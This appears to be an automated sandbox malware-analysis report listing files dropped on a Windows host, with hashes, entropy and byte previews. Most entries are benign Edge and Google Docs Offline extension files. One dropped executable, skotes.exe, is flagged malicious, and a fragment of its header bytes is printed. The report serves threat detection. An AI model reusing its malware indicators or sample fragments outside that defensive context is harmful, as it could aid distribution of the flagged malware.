Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\9a74795c-fffb-4019-910d-fa6abf6ffe37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIDHJEBGIEB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.9504865725235305
Encrypted:	false
SSDEEP:	24576:BZS3boafjQ0LU8mD54/C72QRLEAL1NuvHfIPCA2RrlOE/DFJVbBnE3q5q89AXwEu:BZKRjEr5B7XRrEIP32tl7VMq5LCBo
MD5:	A6728E0D2B00CEAFE1489CB92D286323
SHA1:	A8F5557A392F1360D4B6EF7A3755424BB3442AB7
SHA-256:	E048B734FC40A9EFB0B9ABEA40E055DDB560E6519A7296CFEDF916B59813E203
SHA-512:	A23AFEE86BCF3BB4E76AFD5D9549A397A271E96DDF31B28430C32E8622C368099E062A29A826DB1C2F72A9851EA361824FA892CB13AC582179C24AC967CFA3F6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K.....8?....@.................................W...k.......D.....................J.............................D.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...wxwmfdjn..... 1.....................@...mittgiev......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.41075616665917
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0u1mk527U01CAW:JIVuwEw5MUFZLBQLtGcZoM
MD5:	688677ECCDFAA5CE32336FA101336E92
SHA1:	0A5DC3CABBE350E37D6B81A376E065260B5644EF
SHA-256:	A3C7CB9768283193BEDD0309B4477140480D8B55B9E3510BB58B3BBC434AC34B
SHA-512:	284F4A18D966965F0D9A702C2C893F57CA434ACC582839075C46E63BC90FDF9A94A2C157565D16ED0FFC9B2044F95D0538867EF31BE472A671626511260B2B31
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\f299f61c-c6e9-487c-afb2-1bee3a7187fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\05b8e4f3-c5ff-4864-b27d-ade409b7882d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
